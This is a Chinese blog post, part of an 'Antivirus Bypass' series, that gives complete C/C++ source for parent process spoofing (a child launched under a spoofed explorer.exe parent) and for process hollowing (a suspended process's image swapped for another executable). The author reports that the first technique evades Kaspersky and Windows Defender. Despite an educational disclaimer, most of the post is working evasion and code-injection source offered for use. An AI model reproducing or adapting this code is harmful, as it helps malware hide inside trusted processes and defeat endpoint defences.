Antivirus Bypass(二)基于CreateProcess函数

 

本篇文章是Bypass思路系列文章的第二篇,后续会持续更新有关Bypass的思路

因为工作原因,文章断断续续,时间线上会存在差异,思路及代码可行性仅供参考。

若文章中存在说的不清楚或者错误的地方 欢迎师傅们指正 感激不尽!!!

免责声明:这不是制作恶意软件的教程,而是仅用于教育目的的实际案例。

 

前言

在上一篇文章末尾提到两个对CreateProcess的利用方法,本篇文章对两个方法进行补充。

 

一、SpoofParentProcess

父进程欺骗技术,其实就是创建一个进程,指定其他进程为这个新创建进程的父进程。过多详情笔者就不描述了,前辈的文章写的足够详细了。

0x00 Bypass Code

以下为笔者实现bypass的代码:

#include <Windows.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <string>

using namespace std;


int main(int argc, char **canttrustthis)
{
    string targetProcess = "explorer.exe";
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    HANDLE parent;

    if (Process32First(snapshot, &entry) == TRUE)
    {
        while (Process32Next(snapshot, &entry) == TRUE)
        {
            if (strcmp(entry.szExeFile, targetProcess.c_str()) == 0)
            {
                parent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, entry.th32ProcessID);
                break;
            }
        }
    }

    CloseHandle(snapshot);


    PROCESS_INFORMATION pi = { 0 };
    STARTUPINFOEXA si = { 0 };
    SIZE_T sizeToAllocate;

    // Initialize the process start attributes
    InitializeProcThreadAttributeList(NULL, 1, 0, &sizeToAllocate);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeToAllocate);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &sizeToAllocate);

    // Set the parent process
    if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, 
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parent, 
        sizeof(HANDLE), NULL, NULL))
    {
        return 0;
    }
    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);


    BOOL success = CreateProcessA(
        NULL,
        const_cast<char *>("C:\\Windows\\system32\\notepad.exe"),
        NULL,
        NULL,
        true,
        EXTENDED_STARTUPINFO_PRESENT,
        NULL,
        NULL,
        (LPSTARTUPINFOA)&si,
        &pi
    );

    CloseHandle(parent);
    return 0;
}

Tips:父进程欺骗需要用户权限去启动,父进程为NT AUTHORITY SYSTEM权则无法创建进程。

0x01 VirusTotal Killing Results

实现Bypass的编译器是VS2010,选用MFC应用程序。

0x02 Behavior Detection

经Kaspersky、Windows Defender等动态行为测试,均无提示。

 

二、ProcessHollowing

傀儡进程是指将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程。

0x00 Implementation Principle

​ 以挂起的方式打开目标进程,将ShellCode代码写入目标进程,并修改目标进程的执行流程,使其转而执行ShellCode代码,这样,进程还是目标原本进程,但执行的操作却替换成我们的ShellCode了。

0x01 Implementation Process

  1. 通过 CreateProcess 创建进程,传入参数 CREATE_SUSPENDED 使进程挂起
  2. 通过 NtUnmapViewOfSection 清空新进程的内存数据
  3. 通过 VirtualAllocEx 申请新的内存
  4. 通过 WriteProcessMemory 向内存写入 payload
  5. 通过 SetThreadContext 设置入口点
  6. 通过 ResumeThread 唤醒进程,执行 payload

0x03 Bypass

ProcessHollowing.cpp

#include "ProcessHollowing.h"

int ProcessHollowing(char *DestinationProgramPath, char *SourceProgramPath)
{
    STARTUPINFOA si = { 0, };
    PROCESS_INFORMATION pi = { 0, };
    si.cb = sizeof(si);

    CreateProcessA(NULL, DestinationProgramPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

    if (!pi.hProcess)
    {
        return -1;
    }

    CONTEXT Context = { 0, };
    Context.ContextFlags = CONTEXT_FULL;

    if (GetThreadContext(pi.hThread, &Context) == NULL)
    {
        TerminateProcess(pi.hProcess, 0);
        return -1;
    }

    PEB peb = { 0, };

    if (ReadProcessMemory(pi.hProcess, Context.Rdx, &peb, sizeof(PEB), NULL) == NULL)
    {
        TerminateProcess(pi.hProcess, 0);
        return -1;
    }

    if (NtUnmapViewOfSection(pi.hProcess, peb.ImageBaseAddress) == STATUS_ACCESS_DENIED)
    {
        TerminateProcess(pi.hProcess, 0);
        return -1;
    }

    HANDLE hFile = CreateFileA(SourceProgramPath, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);

    if (hFile == INVALID_HANDLE_VALUE)
    {
        TerminateProcess(pi.hProcess, 0);
        return -1;
    }

    DWORD FileSize = GetFileSize(hFile, NULL);

    BYTE *SourceBuffer = malloc(FileSize);

    ZeroMemory(SourceBuffer, FileSize);

    ReadFile(hFile, SourceBuffer, FileSize, NULL, NULL);

    IMAGE_DOS_HEADER *DOS = SourceBuffer;

    IMAGE_NT_HEADERS64 *NT = (ULONGLONG)DOS + DOS->e_lfanew;

    IMAGE_SECTION_HEADER (*SECTION)[1] = (ULONGLONG)NT + sizeof(IMAGE_NT_HEADERS64);

    PVOID SrcImageBase = NT->OptionalHeader.ImageBase;
    PVOID DestImageBase = VirtualAllocEx(pi.hProcess, peb.ImageBaseAddress, NT->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (DestImageBase == NULL)
    {
            TerminateProcess(pi.hProcess, 0);
            return -1;
    }

    NT->OptionalHeader.ImageBase = DestImageBase;

    if (WriteProcessMemory(pi.hProcess, DestImageBase, SourceBuffer, NT->OptionalHeader.SizeOfHeaders, NULL) == NULL)
    {
        TerminateProcess(pi.hProcess, 0);
        return -1;
    }

    for (int i = 0; i < NT->FileHeader.NumberOfSections; i++)
    {
        if (SECTION[i]->PointerToRawData == NULL)
        {
            continue;
        }

        PVOID SrcSectionRowDataPointer = (ULONGLONG)SourceBuffer + SECTION[i]->PointerToRawData;
        PVOID DestSectionVirtualAddress = (ULONGLONG)DestImageBase + SECTION[i]->VirtualAddress;

        if (WriteProcessMemory(pi.hProcess, DestSectionVirtualAddress, SrcSectionRowDataPointer, SECTION[i]->SizeOfRawData, NULL) == NULL)
        {
            TerminateProcess(pi.hProcess, 0);
            return -1;
        }
    }

    if (DestImageBase != SrcImageBase)
    {
        IMAGE_BASE_RELOCATION *BASE_RELOCATION = NULL;
        for (int i = 0; i < NT->FileHeader.NumberOfSections; i++)
        {
            if (NT->OptionalHeader.DataDirectory[5].VirtualAddress == SECTION[i]->VirtualAddress)
            {
                BASE_RELOCATION = (ULONGLONG)SourceBuffer + SECTION[i]->PointerToRawData;
                break;
            }
        }

        DWORD SIZE_RELOCTION = NT->OptionalHeader.DataDirectory[5].Size;

        if (BASE_RELOCATION == NULL || SIZE_RELOCTION == 0)
        {
            TerminateProcess(pi.hProcess, 0);
            return -1;
        }

        DWORD SIZE = 0;

        while (SIZE_RELOCTION != SIZE)
        {
            BASE_RELOCATION_ENTRY (*Type)[1] = (ULONGLONG)BASE_RELOCATION + 8;

            for (int i = 0; i < (BASE_RELOCATION->SizeOfBlock - 8) / 2; i++)
            {
                if ((*Type[i]).Offset != NULL)
                {
                    PVOID HardCodingAddress = (ULONGLONG)DestImageBase + BASE_RELOCATION->VirtualAddress + (*Type[i]).Offset;
                    ULONGLONG HardCodingData;

                    if (ReadProcessMemory(pi.hProcess, HardCodingAddress, &HardCodingData, 8, NULL) == NULL)
                    {
                        continue;
                    }

                    HardCodingData -= (ULONGLONG)SrcImageBase;
                    HardCodingData += (ULONGLONG)DestImageBase;

                    if (WriteProcessMemory(pi.hProcess, HardCodingAddress, &HardCodingData, 8, NULL) == NULL)
                    {
                        continue;
                    }
                }
            }

            SIZE += BASE_RELOCATION->SizeOfBlock;
            BASE_RELOCATION = (ULONGLONG)BASE_RELOCATION + BASE_RELOCATION->SizeOfBlock;
        }
    }

    ULONGLONG NewEntryPoint = (ULONGLONG)DestImageBase + NT->OptionalHeader.AddressOfEntryPoint;

    Context.Rcx = NewEntryPoint;

    if (SetThreadContext(pi.hThread, &Context) == NULL)
    {
        TerminateProcess(pi.hProcess, 0);
        return -1;
    }

    if (ResumeThread(pi.hThread) == NULL)
    {
        TerminateProcess(pi.hProcess, 0);
        return -1;
    }

    free(SourceBuffer);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}

int APIENTRY WinMain(HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPSTR lpszCmdParam, 
    int nCmdShow)
{
    ProcessHollowing("explorer.exe", "MessageBox.exe");
    return 0;
}

ProcessHollowing.h

#pragma once
#include <stdio.h>
#include <windows.h>
#include <dbghelp.h>

#define STATUS_ACCESS_DENIED 0xC0000022

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _PEB
{
    BYTE InheritedAddressSpace;
    BYTE ReadImageFileExecOptions;
    BYTE BeingDebugged;
    BYTE SpareBool;
    void *Mutant;
    void *ImageBaseAddress;
    void *Ldr;
    void *ProcessParameters;
    void *SubSystemData;
    void *ProcessHeap;
    void *FastPebLock;
    void *FastPebLockRoutine;
    void *FastPebUnlockRoutine;
    DWORD EnvironmentUpdateCount;
    void *KernelCallbackTable;
    DWORD SystemReserved[1];
    DWORD ExecuteOptions : 2; 
    DWORD SpareBits : 30;    
    void *FreeList;
    DWORD TlsExpansionCounter;
    void *TlsBitmap;
    DWORD TlsBitmapBits[2];
    void *ReadOnlySharedMemoryBase;
    void *ReadOnlySharedMemoryHeap;
    void **ReadOnlyStaticServerData;
    void *AnsiCodePageData;
    void *OemCodePageData;
    void *UnicodeCaseTableData;
    DWORD NumberOfProcessors;
    DWORD NtGlobalFlag;
    LARGE_INTEGER CriticalSectionTimeout;
    DWORD HeapSegmentReserve;
    DWORD HeapSegmentCommit;
    DWORD HeapDeCommitTotalFreeThreshold;
    DWORD HeapDeCommitFreeBlockThreshold;
    DWORD NumberOfHeaps;
    DWORD MaximumNumberOfHeaps;
    void **ProcessHeaps;
    void *GdiSharedHandleTable;
    void *ProcessStarterHelper;
    DWORD GdiDCAttributeList;
    void *LoaderLock;
    DWORD OSMajorVersion;
    DWORD OSMinorVersion;
    WORD OSBuildNumber;
    WORD OSCSDVersion;
    DWORD OSPlatformId;
    DWORD ImageSubsystem;
    DWORD ImageSubsystemMajorVersion;
    DWORD ImageSubsystemMinorVersion;
    DWORD ImageProcessAffinityMask;
    DWORD GdiHandleBuffer[34];
    void (*PostProcessInitRoutine)();
    void *TlsExpansionBitmap;
    DWORD TlsExpansionBitmapBits[32];
    DWORD SessionId;
    ULARGE_INTEGER AppCompatFlags;
    ULARGE_INTEGER AppCompatFlagsUser;
    void *pShimData;
    void *AppCompatInfo;
    UNICODE_STRING CSDVersion;
    void *ActivationContextData;
    void *ProcessAssemblyStorageMap;
    void *SystemDefaultActivationContextData;
    void *SystemAssemblyStorageMap;
    DWORD MinimumStackCommit;
} PEB, *PPEB;

typedef enum _PROCESSINFOCLASS
{
    ProcessBasicInformation,
    ProcessQuotaLimits,
    ProcessIoCounters,
    ProcessVmCounters,
    ProcessTimes,
    ProcessBasePriority,
    ProcessRaisePriority,
    ProcessDebugPort,
    ProcessExceptionPort,
    ProcessAccessToken,
    ProcessLdtInformation,
    ProcessLdtSize,
    ProcessDefaultHardErrorMode,
    ProcessIoPortHandlers,
    ProcessPooledUsageAndLimits,
    ProcessWorkingSetWatch,
    ProcessUserModeIOPL,
    ProcessEnableAlignmentFaultFixup,
    ProcessPriorityClass,
    ProcessWx86Information,
    ProcessHandleCount,
    ProcessAffinityMask,
    ProcessPriorityBoost,
    ProcessDeviceMap,
    ProcessSessionInformation,
    ProcessForegroundInformation,
    ProcessWow64Information,
    ProcessImageFileName,
    ProcessLUIDDeviceMapsEnabled,
    ProcessBreakOnTermination,
    ProcessDebugObjectHandle,
    ProcessDebugFlags,
    ProcessHandleTracing,
    ProcessIoPriority,
    ProcessExecuteFlags,
    ProcessTlsInformation,
    ProcessCookie,
    ProcessImageInformation,
    ProcessCycleTime,
    ProcessPagePriority,
    ProcessInstrumentationCallback,
    ProcessThreadStackAllocation,
    ProcessWorkingSetWatchEx,
    ProcessImageFileNameWin32,
    ProcessImageFileMapping,
    ProcessAffinityUpdateMode,
    ProcessMemoryAllocationMode,
    ProcessGroupInformation,
    ProcessTokenVirtualizationEnabled,
    ProcessConsoleHostProcess,
    ProcessWindowInformation,
    MaxProcessInfoClass
} PROCESSINFOCLASS;

typedef struct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PPEB PebBaseAddress;
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;

typedef struct _BASE_RELOCATION_ENTRY {
    USHORT Offset : 12;
    USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

NTSYSAPI NTSTATUS NtUnmapViewOfSection(HANDLE ProcessHandle, PVOID BaseAddress);
int ProcessHollowing(char *DestinationProgramPath, char *SourceProgramPath);

0X04 VirusTotal Killing Results

0x05 Behavior Detection


参考链接:

https://www.anquanke.com/post/id/168618

https://github.com/idan1288/ProcessHollowing32-64

(完)